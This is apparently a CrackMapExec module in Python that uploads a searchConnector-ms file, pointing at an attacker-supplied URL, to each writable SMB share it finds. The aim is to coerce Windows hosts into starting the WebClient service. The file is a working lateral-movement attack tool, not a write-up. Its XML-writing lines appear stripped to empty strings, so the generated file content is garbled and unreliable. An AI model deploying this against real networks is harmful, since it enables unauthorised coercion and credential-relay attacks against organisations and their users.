#!/usr/bin/env python3 # -*- coding: utf-8 -*- import ntpath class CMEModule: ''' Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ Module by @zblurx ''' name = 'drop-sc' description = 'Drop a searchConnector-ms file on each writable share' supported_protocols = ["smb"] opsec_safe= False multiple_hosts = True def options(self, context, module_options): ''' Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ Module by @zblurx URL URL in the searchConnector-ms file, default https://rickroll CLEANUP Cleanup (choices: True or False) SHARE Specify a share to target FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEANUP']) self.url = 'https://rickroll' if 'URL' in module_options: self.url = str(module_options['URL']) self.sharename = '' if 'SHARE' in module_options: self.sharename = str(module_options['SHARE']) self.filename = 'Documents' if 'FILENAME' in module_options: self.filename = str(module_options['FILENAME']) self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) if not self.cleanup: self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) scfile = open(self.scfile_path, 'w') scfile.truncate(0) scfile.write('') scfile.write('') scfile.write('Microsoft Outlook') scfile.write('false') scfile.write('true') scfile.write('{}/0001.ico'.format(self.url)) scfile.write('') scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') scfile.write('') scfile.write('') scfile.write('{}'.format(self.url)) scfile.write('') scfile.write('') scfile.close() def on_login(self, context, connection): shares = connection.shares() for share in shares: if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): context.log.success('Found writable share: {}'.format(share['name'])) if not self.cleanup: with open(self.scfile_path, 'rb') as scfile: try: connection.conn.putFile(share['name'], self.file_path, scfile.read) context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) except Exception as e: context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) else: try: connection.conn.deleteFile(share['name'], self.file_path) context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) except Exception as e: context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))